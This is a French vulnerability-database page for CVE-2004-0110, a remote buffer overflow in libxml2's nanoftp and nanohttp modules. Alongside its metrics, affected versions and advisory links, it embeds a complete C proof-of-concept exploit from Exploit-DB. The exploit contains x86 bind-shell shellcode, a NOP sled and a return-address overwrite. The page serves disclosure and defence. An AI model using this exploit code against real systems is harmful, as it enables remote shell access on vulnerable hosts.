CVE-2004-0110 : Détail

CVE-2004-0110

89.18%V3
Network
2004-03-04
04h00 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Buffer overflow in the (1) nanohttp or (2) nanoftp modules in XMLSoft Libxml 2 (Libxml2) 2.6.0 through 2.6.5 allow remote attackers to execute arbitrary code via a long URL.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 601

Date de publication : 2004-10-25 22h00 +00:00
Auteur : infamous41md
EDB Vérifié : Yes

/* * libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom * * [n00b localho outernet] gcc -Wall libsuxml.c -lxml2 * [n00b localho outernet] ./a.out * Usage: ./a.out <retaddr> [ align ] * [n00b localho outernet] netstat -ant | grep 7000 * [n00b localho outernet] ./a.out 0xbfff0360 * xmlNanoFTPScanURL: Use [IPv6]/IPv4 format * [n00b localho outernet] netstat -ant | grep 7000 * tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #include <libxml/nanoftp.h> #define die(x) do{ perror((x)); exit(1); }while(0) #define BS 0x10000 #define NOP 0x90 #define NNOPS 3000 #define ALIGN 0 /* call them */ #define SHELL_LEN (sizeof(sc)-1) char sc[] = "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6" "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50" "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a" "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31" "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0" "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80" "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; /* */ int main(int argc, char **argv) { int x = 0, len = 0; char buf[BS] = {'A',}; long retaddr = 0, align = ALIGN; if(argc < 2){ fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]); return EXIT_FAILURE; } if(sscanf(argv[1], "%lx", &retaddr) != 1) die("sscanf"); if(argc > 2) align = atoi(argv[2]); if(align < 0 || align > 3) die("nice try newblar"); strncpy(buf, "://[", 4); len += 4; memset(buf+len, NOP, NNOPS); len += NNOPS; memcpy(buf+len, sc, SHELL_LEN); len += SHELL_LEN; len += align; for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr)) memcpy(buf+len+x, &retaddr, sizeof(retaddr)); buf[len+x] = ']'; buf[len+x+1] = 0; xmlNanoFTPNewCtxt(buf); return EXIT_SUCCESS; } // milw0rm.com [2004-10-26]

Products Mentioned

Configuraton 0

Sgi>>Propack >> Version 2.3

Sgi>>Propack >> Version 2.4

Xmlsoft>>Libxml >> Version 1.8.17

Xmlsoft>>Libxml2 >> Version 2.4.19

Xmlsoft>>Libxml2 >> Version 2.4.23

Xmlsoft>>Libxml2 >> Version 2.5.4

Xmlsoft>>Libxml2 >> Version 2.5.10

Xmlsoft>>Libxml2 >> Version 2.5.11

Xmlsoft>>Libxml2 >> Version 2.6.0

Xmlsoft>>Libxml2 >> Version 2.6.1

Xmlsoft>>Libxml2 >> Version 2.6.2

Xmlsoft>>Libxml2 >> Version 2.6.3

Xmlsoft>>Libxml2 >> Version 2.6.4

Xmlsoft>>Libxml2 >> Version 2.6.5

Références

http://marc.info/?l=bugtraq&m=107851606605420&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://rhn.redhat.com/errata/RHSA-2004-090.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2004-091.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.securityfocus.com/bid/9718
Tags : vdb-entry, x_refsource_BID
http://www.debian.org/security/2004/dsa-455
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.xmlsoft.org/news.html
Tags : x_refsource_CONFIRM
http://www.redhat.com/support/errata/RHSA-2004-650.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.ciac.org/ciac/bulletins/o-086.shtml
Tags : third-party-advisory, government-resource, x_refsource_CIAC
http://secunia.com/advisories/10958/
Tags : third-party-advisory, x_refsource_SECUNIA
http://security.gentoo.org/glsa/glsa-200403-01.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.kb.cert.org/vuls/id/493966
Tags : third-party-advisory, x_refsource_CERT-VN
http://marc.info/?l=bugtraq&m=107860178228804&w=2
Tags : mailing-list, x_refsource_BUGTRAQ